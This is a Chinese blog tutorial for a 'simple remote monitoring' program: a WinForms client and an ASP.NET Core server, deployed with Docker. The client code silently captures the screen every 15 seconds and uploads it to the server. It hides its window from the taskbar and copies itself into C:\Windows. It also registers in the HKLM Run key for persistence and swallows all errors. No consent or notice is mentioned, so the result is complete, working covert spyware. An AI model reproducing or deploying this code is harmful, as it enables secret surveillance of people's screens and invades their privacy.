使用.net技術實現一個簡易遠程監控軟件(後端.net core,前端winform)

前端實現技術:Winform

後端實現技術:asp.net core 3.1

一、前端實現

採用winform實現一個簡易的後臺任務程序,其功能主要是定時截屏,然後發送給服務器,並且程序在任務管理器隱藏,但並沒有在進程裏面隱藏,實現開機啓動,實現運行時自動複製。

1)首先使用vs創建一個winform程序,命名爲Monitor:

2)在Form1.cs裏面加入代碼:

    public partial class Form1 : Form
    {
        private readonly System.Threading.Timer timer;
        private readonly HttpClient client = new HttpClient();
        public Form1()
        {
            InitializeComponent();
            this.Load += this.Form1_Load;
            client.BaseAddress = new Uri("http://localhost:5000");
            //啓動10s後開始每隔15s截屏一次
            timer = new System.Threading.Timer(new TimerCallback(this.Monitor), null, 10000, 15000);
        }
        private async void Monitor(object para)
        {
            try
            {
                //截屏,並且將截屏數據序列化爲byte數組發送給後臺
                var v = await client.GetAsync("/Images");
                var result = await v.Content.ReadAsStringAsync();
                if (!Convert.ToBoolean(result))
                    return;
                Bitmap img = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);
                Graphics g = Graphics.FromImage(img);
                g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
                using (MemoryStream ms = new MemoryStream())
                {
                    img.Save(ms, ImageFormat.Jpeg);
                    byte[] arr = new byte[ms.Length];
                    ms.Position = 0;
                    ms.Read(arr, 0, (int)ms.Length);
                    ms.Close();
                    await client.PostAsync("/Images", new ByteArrayContent(arr));
                }
            }
            catch (Exception ex)
            { }
        }
        private void Form1_Load(object sender, EventArgs e)
        {
            try
            {
                this.ShowInTaskbar = false;
                //啓動後,讓程序在任務管理器隱藏,也就是讓當前窗體不可見,注意一定要等程序已經運行起來後再設置纔有用,
                //如果把這個放到構造函數裏面,winform程序的show操作會設置這個屬性爲true,就會覆蓋掉構造函數的設置。
                //所以一定要等到程序show之後再設置纔有用
                this.Visible = false;

                //加入開機啓動項
                RegistryKey hkml = Registry.LocalMachine;
                RegistryKey software = hkml.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
                object value = software.GetValue("Monitor");
                if (value != null)
                    return;

                string src = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
                string folder = Environment.GetFolderPath(Environment.SpecialFolder.System);

                string dest = @"C:\Windows" + src.Substring(src.LastIndexOf(@"\"));
                if (!File.Exists(dest))
                {
                    //自動複製程序到C:\Windows文件夾裏
                    File.Copy(src, dest);
                    software.SetValue("Monitor", dest);
                }
            }
            catch (Exception ex)
            {

            }

        }
    }

加上這段代碼後,一個簡易的遠程監控軟件客戶端就做好了。點擊生成,就可以使用了。

二、服務端

服務端是一個基於.net core3.1的後臺程序,部署環境是CentOS8+Docker。

1)創建一個asp.net core web程序,名稱叫MonitorServer,選擇Api模板:

2)新增一個conroller,命名爲ImagesController:

將類的代碼修改爲:

    [ApiController]
    [Route("[controller]")]
    public class ImagesController : ControllerBase
    {
        [HttpPost]
        public async Task<bool> Post()
        {
            try
            {
                using (var ms = new MemoryStream())
                {
                    await Request.Body.CopyToAsync(ms);
                    Request.Body.Close();
                    byte[] arr = ms.ToArray();
                    ms.Close();
                    string directory = Path.Combine(Path.Combine(Environment.CurrentDirectory, "Images"), 
                        DateTime.Now.ToString("yyyyMMdd-HH"));
                    if (!Directory.Exists(directory)) Directory.CreateDirectory(directory);
                    string path= Path.Combine(directory, DateTime.Now.Ticks.ToString() + ".jpg");
                    var file = new FileStream(path, FileMode.Create, FileAccess.Write);
                    file.Write(arr, 0, arr.Length);
                    file.Close();
                    return true;
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
                return false;
            }
            finally
            {
                
            }
        }
        [HttpGet]
        public bool Get()
        {
            return true;
        }
    }

這個Get方法是用來控制客戶端是否發送截屏給服務端的,以方便我們隨時可以開啓或者停止控制客戶端的監控,這裏更好的方法是從配置文件或者這個布爾值,由於我只是簡單實現一個測試項目,所以沒有這麼做。

需要注意的是,我們的後臺程序是運行在Linux環境裏的,所以在涉及到文件路徑操作的代碼,一律使用Path.Combine來操作,否則會有問題。由於Linux使用的是utc時間,這個時候,代碼裏面的DateTime.Now得到的是utc時間,不再是北京時間。這個是取決於當前的運行環境的。

2)修改Startup類的代碼如下:

    public class Startup
    {
        public Startup(IConfiguration configuration)
        {
            Configuration = configuration;
            string path = Path.Combine(Environment.CurrentDirectory, "Images");
            if (!Directory.Exists(path))
               Directory.CreateDirectory(path);
        }

        public IConfiguration Configuration { get; }

        // This method gets called by the runtime. Use this method to add services to the container.
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddControllers();
        }

        // This method gets called by the runtime. Use this method to configure the HTTP request pipeline.
        public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
        {
            if (env.IsDevelopment())
            {
                app.UseDeveloperExceptionPage();
            }
            //app.UseHttpsRedirection();

            app.UseRouting();

            app.UseAuthorization();

            app.UseEndpoints(endpoints =>
            {
                endpoints.MapControllers();
            });
        }
    }

3)到這裏,我們的後臺程序就寫好了,啓動運行,看看是否有問題,在配置裏選擇MonitorServer,運行:

在瀏覽器輸入接口地址測試一下剛纔我們寫的接口:

4)至此,遠程監控程序的後臺就完成了,同時開啓客戶端和服務端, 可以在服務端的運行目錄下看到客戶端發來的截屏:

5)部署應用程序到docker。.net core是支持代碼直接編譯爲docker鏡像的,具體可以參考官方文檔https://docs.microsoft.com/zh-cn/aspnet/core/host-and-deploy/docker/building-net-docker-images?view=aspnetcore-3.1

這裏我選擇先生成應用程序包,再在docker上部署。

a)在一臺Linux服務器的home目錄下創建一個Dockerfile文件,內容爲:

FROM mcr.microsoft.com/dotnet/core/aspnet:3.1 AS runtime
WORKDIR /app
COPY ./app/ ./
ENTRYPOINT ["dotnet", "MonitorServer.dll"]

這個文件是沒有後綴的,只是一個單純的文件:

b)在vs2019中右擊項目,選擇發佈:

點擊高級,按如下配置:

配置文件創建好後,點擊發布,發佈的時候可以刪除下面的引用,以減少包的大小:

成功後就可以在publish目錄下看到發佈程序的所有文件:

c)將發佈生成的所有文件,拷貝到Linux服務器的/home/app目錄裏:

d)在home目錄下創建Images文件夾,這時Home目錄結構如下:

e)在home目錄下,執行docker生成鏡像的命令(docker的安裝這裏略過):

docker build -t monitor:1.0 .

f)鏡像生成成功後,使用run命令,啓動容器:

docker run -v /home/Images:/app/Images --name monitor --restart=always --privileged=true -p 8080:8080 -d monitor:1.0

這裏由於我使用的是8080端口,需要把容器的8080端口映射出來。程序的默認端口是5000,如果要更改程序的端口,在Program文件裏面加上代碼:

部署成功後,如果有客戶端連接服務器,並且上傳數據,/home/Images目錄下就會自動按照小時生成文件夾,保存客戶端上傳的截圖:

至此,我們的遠程監控程序就完成了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章